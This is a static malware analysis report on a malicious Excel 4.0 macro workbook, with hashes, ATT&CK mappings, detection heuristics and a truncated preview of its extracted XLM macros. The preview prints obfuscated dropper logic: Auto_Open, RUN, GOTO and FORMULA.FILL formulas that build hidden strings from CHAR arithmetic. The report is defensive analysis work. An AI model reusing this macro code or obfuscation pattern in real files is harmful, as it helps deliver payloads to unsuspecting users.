Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2fd240d75650c273…

MALICIOUS

Office (OLE)

186.0 KB Created: 2020-05-08 12:33:57 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 0f0d870648ac1e439620b88b4dc52eaf SHA-1: ac8b46e51791da37c4a463a48dca0c2a69e797cb SHA-256: 2fd240d75650c273398cf926710a8f9441f1292b1487ee20393c5b62eb9dedb7
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected as malicious by ClamAV. Heuristics indicate the presence of an Auto_Open macro that uses dangerous functions like RUN, suggesting it's designed to execute a secondary payload. The macro attempts to construct a string using CHAR and arithmetic operations, likely to obfuscate the final command or URL.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-9005324-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9005324-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 137737 bytes
SHA-256: f2a6a82871d952517905969d4c1e11283e80ca9ab4f6e4f0eda168349add955d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!FJ61941 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,CF4,"",-2.94117647058823550310
'  Sheet,CC21,"",-426.60031249999997271516
'  Sheet,HJ94,"",4.71641791044776148567
'  Sheet,J167,"",-249.00000000000000000000
'  Sheet,GO187,"",-0.54347826086956529945
'  Sheet,GI194,"",-200.50000000000000000000
'  Sheet,HE206,"",0.33090909090909093049
'  Sheet,HC212,"SET.VALUE(HC40647,GET.CELL(38,U61620)*-124.00000000000000000000/8)",""
'  Sheet,HC213,RUN(JI11994),""
'  Sheet,BL227,"",-28.92307692307692335021
'  Sheet,EK239,"",88.87500000000000000000
'  Sheet,B263,"",-436.60031249999997271516
'  Sheet,EF301,"",0.47169811320754717610
'  Sheet,IJ317,"FORMULA.FILL(CHAR(HD9650*X61684)&CHAR(FE31177-FP9303)&CHAR(Z18195*DS34078)&CHAR(CZ34524-BK15888)&CHAR(BK48358/BY11357)&CHAR(IQ41272/HW11372)&CHAR(BI42776*BN59688)&CHAR(HS6201/IR36337)&CHAR(IC12695/HQ38564)&CHAR(G47923+IT4880)&CHAR(CG61807/ID30696)&CHAR(X52660-S50984)&CHAR(IB65138*GH20594)&CHAR(C23071+BC14278)&CHAR(BS9253/CK37957)&CHAR(HD60755+GL22104)&CHAR(BM33010/U41664)&CHAR(BM33010*EQ13591)&CHAR(HD9650+DU9682)&CHAR(CR55883-FL62930)&CHAR(BA54117+EJ49180)&CHAR(CO3271/HP38987)&CHAR(BI11561/DW28592)&CHAR(FT54709+IL50445)&CHAR(HC40647-GU43448)&CHAR(HG63175/JO63872)&CHAR(CG61807/CM54867)&CHAR(DK29594/EH2985)&CHAR(CV47945*CO47039)&CHAR(IF61793*GE50825)&CHAR(CC63743+DM54086),IV52969)",""
'  Sheet,IJ318,GOTO(CG5548),""
'  Sheet,CT325,"",0.09909909909909909997
'  Sheet,T390,"",-132.00000000000000000000
'  Sheet,GI426,"",-1929.00000000000000000000
'  Sheet,IZ426,"",-26.47887323943661996850
'  Sheet,EA431,"",431.00000000000000000000
'  Sheet,CG437,"",-464.60031249999997271516
'  Sheet,BO449,"",28.00000000000000000000
'  Sheet,HM509,"",0.81290322580645157924
'  Sheet,JL560,"",296.39999999999997726263
'  Sheet,HX592,"",-0.39542483660130717249
'  Sheet,HY610,"",377.80031250000001818989
'  Sheet,CA656,"",-0.42948717948717946014
'  Sheet,GF675,"",-4.23736263736263740753
'  Sheet,JM685,"",0.16363636363636363535
'  Sheet,IY751,"",-0.08225905463474524060
'  Sheet,EP752,"SET.VALUE(FU63985,159/5)",""
'  Sheet,EP753,RUN(K60553),""
'  Sheet,CY785,"",16.00000000000000000000
'  Sheet,EB809,"",6.44897959183673474826
'  Sheet,EL834,"",7.64444444444444481945
'  Sheet,CL860,"",-131.87500000000000000000
'  Sheet,IF862,"",-0.26282051282051283048
'  Sheet,HW928,"",113.50000000000000000000
'  Sheet,ES949,"",3.12871287128712882719
'  Sheet,FP949,"",0.28727272727272729069
'  Sheet,II956,"",19.21153846153845989875
'  Sheet,F995,"",503.00000000000000000000
'  Sheet,BV1006,"",-399.00000000000000000000
'  Sheet,GI1036,"",-3.80952380952380931234
'  Sheet,GO1040,"",-1979.00000000000000000000
'  Sheet,J1045,"",0.95901639344262290532
'  Sheet,L1051,"",434.00000000000000000000
'  Sheet,GV1171,"",385.00000000000000000000
'  Sheet,IO1199,"",-0.27450980392156865140
'  Sheet,EP1293,"",13.14473684210526371885
'  Sheet,DL1319,"",932.00000000000000000000
'  Sheet,CU1359,"",519.00000000000000000000
'  Sheet,GE1362,"",-1921.00000000000000000000
'  Sheet,BV1457,"FORMULA.FILL(CHAR(JB15443+DB54609)&CHAR(JG15181*ID43432)&CHAR(JJ51627/C26093)&CHAR(IW112+EA37864)&CHAR(IC22398/IT41470)&CHAR(JG15181*GI37260)&CHAR(IW112+IY48675)&CHAR(IW112/IZ58599)&CHAR(JJ51627-BK4640)&CHAR(IM29893+Z34277)&CHAR(IC22398*CB2210)&CHAR(JG15181+Q65016)&CHAR(CT20346+B1522)&CHAR(JB15443*FT25738)&CHAR(EM36959+L1051)&CHAR(JG15181-GD19061)&CHAR(EM36959/CE44211)&CHAR(JJ51627-HE10784)&CHAR(IC22398+JF21743)&CHAR(HL64501/FU19255)&CHAR(IM29893-IP18669)&CHAR(BF48656+FI58281)&CHAR(JG15181/GH27006)&CHAR(JJ51627/FJ8388)&CHAR(IM29893*DL44919)&CHAR(HL64501-IP15146)&CHAR(JJ51627/HQ42458)&CHAR(IC22398*II22873)&CHAR(JJ51627+IN46069)&CHAR(IW112-GM37926)&CH
... (truncated)

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